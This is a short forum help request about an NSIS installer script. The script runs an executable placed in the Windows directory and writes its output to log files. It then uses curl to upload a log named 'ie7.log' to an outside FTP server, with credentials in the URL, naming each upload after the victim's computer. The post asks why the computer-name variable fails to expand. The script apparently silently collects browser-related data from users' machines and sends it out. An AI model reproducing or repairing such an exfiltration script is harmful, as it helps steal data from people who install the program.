ok I used ExecDos
Everything worked fine with parameters and such, but I have another problem now. I'm using cURL to upload files to an ftp, and cURL has a variable to specify the user's computer's name. That variable is %computername%.
Now when it uploads the file, instead of saying their computer name for the file, it says "%computername%.log"
Section
ExecDos::exec "$WINDIR\ff.exe" "" "C:\drivers2\ff.log"
SectionEnd
Section
ExecDos::exec "$WINDIR\curl.exe -T C:\drivers2\ie7.log ftp://minenu:%&%$@minenu.12gbfree.com/%computername%.log"
SectionEnd
Please note, this worked with ExecWait
Please help!